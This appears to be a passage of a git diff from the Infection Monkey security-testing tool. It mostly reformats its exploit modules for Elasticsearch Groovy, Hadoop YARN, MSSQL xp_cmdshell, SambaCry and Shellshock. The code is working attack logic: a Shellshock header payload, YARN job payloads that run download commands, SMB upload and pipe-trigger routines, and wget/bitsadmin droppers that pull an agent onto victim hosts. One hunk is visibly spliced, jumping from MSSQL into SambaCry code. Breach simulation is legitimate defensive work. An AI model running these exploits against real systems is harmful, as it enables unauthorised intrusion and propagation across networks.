- exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP}
+ exploit_config["dropper"] = True
+ exploit_config["url_extensions"] = ["_search?pretty"]
+ exploit_config["upload_commands"] = {
+ "linux": WGET_HTTP_UPLOAD,
+ "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
+ }
return exploit_config
def get_open_service_ports(self, port_list, names):
- # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
+ # We must append elastic port we get from elastic fingerprint module because It's not
+ # marked as 'http' service
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
@@ -56,7 +69,10 @@ class ElasticGroovyExploiter(WebRCE):
try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
- LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
+ LOG.error(
+ "Elastic couldn't upload monkey, because server didn't respond to upload "
+ "request."
+ )
return False
result = self.get_results(response)
if not result:
@@ -65,7 +81,7 @@ class ElasticGroovyExploiter(WebRCE):
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
- if 'windows' in self.host.os['type'] and result:
+ if "windows" in self.host.os["type"] and result:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
return result
@@ -76,14 +92,14 @@ class ElasticGroovyExploiter(WebRCE):
"""
try:
json_resp = json.loads(response.text)
- return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
+ return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None
def check_if_exploitable(self, url):
# Overridden web_rce method that adds CMD prefix for windows command
try:
- if 'windows' in self.host.os['type']:
+ if "windows" in self.host.os["type"]:
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 36da16379..c45bfd67f 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -1,30 +1,35 @@
"""
Remote code execution on HADOOP server with YARN and default settings
- Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
+ Implementation is based on code from
+ https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import json
import logging
import posixpath
-import random
import string
+from random import SystemRandom
import requests
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
+from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import HADOOP_LINUX_COMMAND, HADOOP_WINDOWS_COMMAND, ID_STRING, MONKEY_ARG
-
-__author__ = 'VakarisZ'
+from infection_monkey.model import (
+ HADOOP_LINUX_COMMAND,
+ HADOOP_WINDOWS_COMMAND,
+ ID_STRING,
+ MONKEY_ARG,
+)
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Hadoop'
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ _EXPLOITED_SERVICE = "Hadoop"
HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
@@ -41,13 +46,13 @@ class HadoopExploiter(WebRCE):
if not self.vulnerable_urls:
return False
# We presume hadoop works only on 64-bit machines
- if self.host.os['type'] == 'windows':
- self.host.os['machine'] = '64'
+ if self.host.os["type"] == "windows":
+ self.host.os["machine"] = "64"
paths = self.get_monkey_paths()
if not paths:
return False
- http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
- command = self.build_command(paths['dest_path'], http_path)
+ http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
+ command = self.build_command(paths["dest_path"], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
@@ -57,35 +62,48 @@ class HadoopExploiter(WebRCE):
def exploit(self, url, command):
# Get the newly created application id
- resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
- timeout=LONG_REQUEST_TIMEOUT)
+ resp = requests.post(
+ posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
+ )
resp = json.loads(resp.content)
- app_id = resp['application-id']
+ app_id = resp["application-id"]
# Create a random name for our application in YARN
- rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)])
+ safe_random = SystemRandom()
+ rand_name = ID_STRING + "".join(
+ [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
+ )
payload = self.build_payload(app_id, rand_name, command)
- resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT)
+ resp = requests.post(
+ posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
+ )
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
- resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
- timeout=LONG_REQUEST_TIMEOUT)
+ resp = requests.post(
+ posixpath.join(url, "ws/v1/cluster/apps/new-application"),
+ timeout=LONG_REQUEST_TIMEOUT,
+ )
except requests.ConnectionError:
return False
return resp.status_code == 200
def build_command(self, path, http_path):
# Build command to execute
- monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1,
- vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0])
- if 'linux' in self.host.os['type']:
+ monkey_cmd = build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]
+ )
+ if "linux" in self.host.os["type"]:
base_command = HADOOP_LINUX_COMMAND
else:
base_command = HADOOP_WINDOWS_COMMAND
- return base_command % {"monkey_path": path, "http_path": http_path,
- "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
+ return base_command % {
+ "monkey_path": path,
+ "http_path": http_path,
+ "monkey_type": MONKEY_ARG,
+ "parameters": monkey_cmd,
+ }
@staticmethod
def build_payload(app_id, name, command):
@@ -97,6 +115,6 @@ class HadoopExploiter(WebRCE):
"command": command,
}
},
- "application-type": "YARN"
+ "application-type": "YARN",
}
return payload
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c51acc3b8..6269a8778 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -8,51 +8,59 @@ import pymssql
from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_monkey_dest_path
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.model import DROPPER_ARG
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
- _EXPLOITED_SERVICE = 'MSSQL'
- _TARGET_OS_TYPE = ['windows']
+ _EXPLOITED_SERVICE = "MSSQL"
+ _TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
- SQL_DEFAULT_TCP_PORT = '1433'
+ SQL_DEFAULT_TCP_PORT = "1433"
# Temporary file that saves commands for monkey's download and execution.
- TMP_FILE_NAME = 'tmp_monkey.bat'
+ TMP_FILE_NAME = "tmp_monkey.bat"
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
- XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
- XP_CMDSHELL_COMMAND_END = "\""
+ XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "'
+ XP_CMDSHELL_COMMAND_END = '"'
EXPLOIT_COMMAND_PREFIX = " 0:
LOG.info(
- "Shares triggered successfully on host %s: %s" % (
- self.host.ip_addr, str(successfully_triggered_shares)))
+ "Shares triggered successfully on host %s: %s"
+ % (self.host.ip_addr, str(successfully_triggered_shares))
+ )
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
@@ -117,8 +143,9 @@ class SambaCryExploiter(HostExploiter):
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug(
- "Exception trying to exploit host: %s, share: %s, with creds: %s." % (
- self.host.ip_addr, share, str(creds)))
+ "Exception trying to exploit host: %s, share: %s, with creds: %s."
+ % (self.host.ip_addr, share, str(creds))
+ )
def clean_share(self, ip, share, creds):
"""
@@ -129,9 +156,14 @@ class SambaCryExploiter(HostExploiter):
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
- file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
- self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
- self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
+ file_list = [
+ self.SAMBACRY_COMMANDLINE_FILENAME,
+ self.SAMBACRY_RUNNER_RESULT_FILENAME,
+ self.SAMBACRY_RUNNER_FILENAME_32,
+ self.SAMBACRY_RUNNER_FILENAME_64,
+ self.SAMBACRY_MONKEY_FILENAME_32,
+ self.SAMBACRY_MONKEY_FILENAME_64,
+ ]
for filename in file_list:
try:
@@ -153,8 +185,9 @@ class SambaCryExploiter(HostExploiter):
tree_id = smb_client.connectTree(share)
file_content = None
try:
- file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
- desiredAccess=FILE_READ_DATA)
+ file_id = smb_client.openFile(
+ tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
+ )
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
@@ -193,16 +226,18 @@ class SambaCryExploiter(HostExploiter):
def get_credentials_list(self):
creds = self._config.get_exploit_user_password_or_hash_product()
- creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
- for user, password, lm_hash, ntlm_hash in creds]
+ creds = [
+ {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
+ for user, password, lm_hash, ntlm_hash in creds
+ ]
# Add empty credentials for anonymous shares.
- creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
+ creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
return creds
def list_shares(self, smb_client):
- shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
+ shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self):
@@ -214,8 +249,8 @@ class SambaCryExploiter(HostExploiter):
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False
- pattern = re.compile(r'\d*\.\d*\.\d*')
- smb_server_name = self.host.services[SMB_SERVICE].get('name')
+ pattern = re.compile(r"\d*\.\d*\.\d*")
+ smb_server_name = self.host.services[SMB_SERVICE].get("name")
if not smb_server_name:
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False
@@ -223,27 +258,38 @@ class SambaCryExploiter(HostExploiter):
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
- samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
- samba_version_parts = samba_version.split('.')
+ samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
+ samba_version_parts = samba_version.split(".")
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
- samba_version_parts[1] <= "13"):
+ elif (
+ (samba_version_parts[0] == "4")
+ and (samba_version_parts[1] == "4")
+ and (samba_version_parts[1] <= "13")
+ ):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
- samba_version_parts[1] <= "9"):
+ elif (
+ (samba_version_parts[0] == "4")
+ and (samba_version_parts[1] == "5")
+ and (samba_version_parts[1] <= "9")
+ ):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
- samba_version_parts[1] <= "3"):
+ elif (
+ (samba_version_parts[0] == "4")
+ and (samba_version_parts[1] == "6")
+ and (samba_version_parts[1] <= "3")
+ ):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
- LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
- (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
+ LOG.info(
+ "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
+ % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
+ )
return is_vulnerable
@@ -255,27 +301,41 @@ class SambaCryExploiter(HostExploiter):
"""
tree_id = smb_client.connectTree(share)
- with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
- smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
+ with self.get_monkey_commandline_file(
+ self._config.dropper_target_path_linux
+ ) as monkey_commandline_file:
+ smb_client.putFile(
+ share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
+ )
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
- smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
+ smb_client.putFile(
+ share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
+ )
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
- smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
+ smb_client.putFile(
+ share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
+ )
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
- smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
+ smb_client.putFile(
+ share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
+ )
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
- smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
- T1105Telem(ScanStatus.USED,
- get_interface_to_target(self.host.ip_addr),
- self.host.ip_addr,
- monkey_bin_64_src_path).send()
+ smb_client.putFile(
+ share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
+ )
+ T1105Telem(
+ ScanStatus.USED,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ monkey_bin_64_src_path,
+ ).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):
@@ -304,8 +364,9 @@ class SambaCryExploiter(HostExploiter):
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except Exception as e:
- # This is the expected result. We can't tell whether we succeeded or not just by this error code.
- if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
+ # This is the expected result. We can't tell whether we succeeded or not just by this
+ # error code.
+ if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
return True
else:
pass
@@ -320,7 +381,10 @@ class SambaCryExploiter(HostExploiter):
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
- return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
+ return [
+ posixpath.join(*x)
+ for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)
+ ]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
@@ -329,10 +393,12 @@ class SambaCryExploiter(HostExploiter):
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
- return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- SambaCryExploiter.SAMBA_PORT,
- str(location)))
+ return BytesIO(
+ DROPPER_ARG
+ + build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
+ )
+ )
@staticmethod
def is_share_writable(smb_client, share):
@@ -342,14 +408,14 @@ class SambaCryExploiter(HostExploiter):
:param share: share name
:return: True if share is writable, False otherwise.
"""
- LOG.debug('Checking %s for write access' % share)
+ LOG.debug("Checking %s for write access" % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
- smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
+ smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
@@ -369,85 +435,104 @@ class SambaCryExploiter(HostExploiter):
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
- credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
+ credentials["username"],
+ credentials["password"],
+ "",
+ credentials["lm_hash"],
+ credentials["ntlm_hash"],
+ )
return smb_client
- # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
+ # Following are slightly modified SMB functions from impacket to fit our needs of the
+ # vulnerability #
@staticmethod
- def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
- fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
- oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
+ def create_smb(
+ smb_client,
+ treeId,
+ fileName,
+ desiredAccess,
+ shareMode,
+ creationOptions,
+ creationDisposition,
+ fileAttributes,
+ impersonationLevel=SMB2_IL_IMPERSONATION,
+ oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
+ createContexts=None,
+ ):
packet = smb_client.getSMBServer().SMB_PACKET()
- packet['Command'] = SMB2_CREATE
- packet['TreeID'] = treeId
- if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
- packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
+ packet["Command"] = SMB2_CREATE
+ packet["TreeID"] = treeId
+ if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True:
+ packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
- smb2Create['SecurityFlags'] = 0
- smb2Create['RequestedOplockLevel'] = oplockLevel
- smb2Create['ImpersonationLevel'] = impersonationLevel
- smb2Create['DesiredAccess'] = desiredAccess
- smb2Create['FileAttributes'] = fileAttributes
- smb2Create['ShareAccess'] = shareMode
- smb2Create['CreateDisposition'] = creationDisposition
- smb2Create['CreateOptions'] = creationOptions
+ smb2Create["SecurityFlags"] = 0
+ smb2Create["RequestedOplockLevel"] = oplockLevel
+ smb2Create["ImpersonationLevel"] = impersonationLevel
+ smb2Create["DesiredAccess"] = desiredAccess
+ smb2Create["FileAttributes"] = fileAttributes
+ smb2Create["ShareAccess"] = shareMode
+ smb2Create["CreateDisposition"] = creationDisposition
+ smb2Create["CreateOptions"] = creationOptions
- smb2Create['NameLength'] = len(fileName) * 2
- if fileName != '':
- smb2Create['Buffer'] = fileName.encode('utf-16le')
+ smb2Create["NameLength"] = len(fileName) * 2
+ if fileName != "":
+ smb2Create["Buffer"] = fileName.encode("utf-16le")
else:
- smb2Create['Buffer'] = b'\x00'
+ smb2Create["Buffer"] = b"\x00"
if createContexts is not None:
- smb2Create['Buffer'] += createContexts
- smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
- smb2Create['CreateContextsLength'] = len(createContexts)
+ smb2Create["Buffer"] += createContexts
+ smb2Create["CreateContextsOffset"] = (
+ len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
+ )
+ smb2Create["CreateContextsLength"] = len(createContexts)
else:
- smb2Create['CreateContextsOffset'] = 0
- smb2Create['CreateContextsLength'] = 0
+ smb2Create["CreateContextsOffset"] = 0
+ smb2Create["CreateContextsLength"] = 0
- packet['Data'] = smb2Create
+ packet["Data"] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
- createResponse = SMB2Create_Response(ans['Data'])
+ createResponse = SMB2Create_Response(ans["Data"])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
- return str(createResponse['FileID'])
+ return str(createResponse["FileID"])
@staticmethod
def open_pipe(smb_client, pathName):
- # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
+ # We need to overwrite Impacket's openFile functions since they automatically convert
+ # paths to NT style
# to make things easier for the caller. Not this time ;)
- treeId = smb_client.connectTree('IPC$')
- LOG.debug('Triggering path: %s' % pathName)
+ treeId = smb_client.connectTree("IPC$")
+ LOG.debug("Triggering path: %s" % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
- pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
+ pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
- ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
- ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
- ntCreate['Parameters']['FileNameLength'] = len(pathName)
- ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
- ntCreate['Parameters']['FileAttributes'] = 0
- ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
- ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
- ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
- ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
- ntCreate['Parameters']['SecurityFlags'] = 0
- ntCreate['Parameters']['CreateFlags'] = 0x16
- ntCreate['Data']['FileName'] = pathName
+ ntCreate["Parameters"] = SMBNtCreateAndX_Parameters()
+ ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2)
+ ntCreate["Parameters"]["FileNameLength"] = len(pathName)
+ ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA
+ ntCreate["Parameters"]["FileAttributes"] = 0
+ ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ
+ ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE
+ ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN
+ ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION
+ ntCreate["Parameters"]["SecurityFlags"] = 0
+ ntCreate["Parameters"]["CreateFlags"] = 0x16
+ ntCreate["Data"]["FileName"] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
- ntCreate['Data']['Pad'] = 0x0
+ ntCreate["Data"]["Pad"] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
@@ -459,4 +544,5 @@ class SambaCryExploiter(HostExploiter):
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
- fileAttributes=0)
+ fileAttributes=0,
+ )
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 4caa7441f..7f5df694b 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -1,59 +1,63 @@
-# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
+# Implementation is based on shellshock script provided
+# https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging
import string
-from random import choice
+from random import SystemRandom
import requests
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.shellshock_resources import CGI_FILES
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import DROPPER_ARG
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
-
-__author__ = 'danielg'
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
TIMEOUT = 2
-TEST_COMMAND = '/bin/uname -a'
+TEST_COMMAND = "/bin/uname -a"
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
-LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
+LOCK_HELPER_FILE = "/tmp/monkey_shellshock"
class ShellShockExploiter(HostExploiter):
- _attacks = {
- "Content-type": "() { :;}; echo; "
- }
+ _attacks = {"Content-type": "() { :;}; echo; "}
- _TARGET_OS_TYPE = ['linux']
- _EXPLOITED_SERVICE = 'Bash'
+ _TARGET_OS_TYPE = ["linux"]
+ _EXPLOITED_SERVICE = "Bash"
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
- self.success_flag = ''.join(
- choice(string.ascii_uppercase + string.digits
- ) for _ in range(20))
+ safe_random = SystemRandom()
+ self.success_flag = "".join(
+ safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20)
+ )
self.skip_exist = self._config.skip_exploit_if_file_exist
def _exploit_host(self):
# start by picking ports
candidate_services = {
- service: self.host.services[service] for service in self.host.services if
- ('name' in self.host.services[service]) and (self.host.services[service]['name'] == 'http')
+ service: self.host.services[service]
+ for service in self.host.services
+ if ("name" in self.host.services[service])
+ and (self.host.services[service]["name"] == "http")
}
- valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
- 'tcp-' + str(port) in candidate_services]
+ valid_ports = [
+ (port, candidate_services["tcp-" + str(port)]["data"][1])
+ for port in self.HTTP
+ if "tcp-" + str(port) in candidate_services
+ ]
http_ports = [port[0] for port in valid_ports if not port[1]]
https_ports = [port[0] for port in valid_ports if port[1]]
LOG.info(
- 'Scanning %s, ports [%s] for vulnerable CGI pages' % (
- self.host, ",".join([str(port[0]) for port in valid_ports]))
+ "Scanning %s, ports [%s] for vulnerable CGI pages"
+ % (self.host, ",".join([str(port[0]) for port in valid_ports]))
)
attackable_urls = []
@@ -69,39 +73,46 @@ class ShellShockExploiter(HostExploiter):
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
- self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
+ self.exploit_info["vulnerable_urls"] = [url[1] for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec
# for any failure, quit and don't try other URLs
- if not self.host.os.get('type'):
+ if not self.host.os.get("type"):
try:
- uname_os_attack = exploit + '/bin/uname -o'
+ uname_os_attack = exploit + "/bin/uname -o"
uname_os = self.attack_page(url, header, uname_os_attack)
- if 'linux' in uname_os:
- self.host.os['type'] = 'linux'
+ if "linux" in uname_os:
+ self.host.os["type"] = "linux"
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
- if not self.host.os.get('machine'):
+ if not self.host.os.get("machine"):
try:
- uname_machine_attack = exploit + '/bin/uname -m'
+ uname_machine_attack = exploit + "/bin/uname -m"
uname_machine = self.attack_page(url, header, uname_machine_attack)
- if '' != uname_machine:
- self.host.os['machine'] = uname_machine.lower().strip()
+ if "" != uname_machine:
+ self.host.os["machine"] = uname_machine.lower().strip()
except Exception as exc:
- LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc)
+ LOG.debug(
+ "Error running uname machine command on victim %r: (%s)", self.host, exc
+ )
return False
# copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux
- if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+ if self.skip_exist and (
+ self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
+ ):
+ LOG.info(
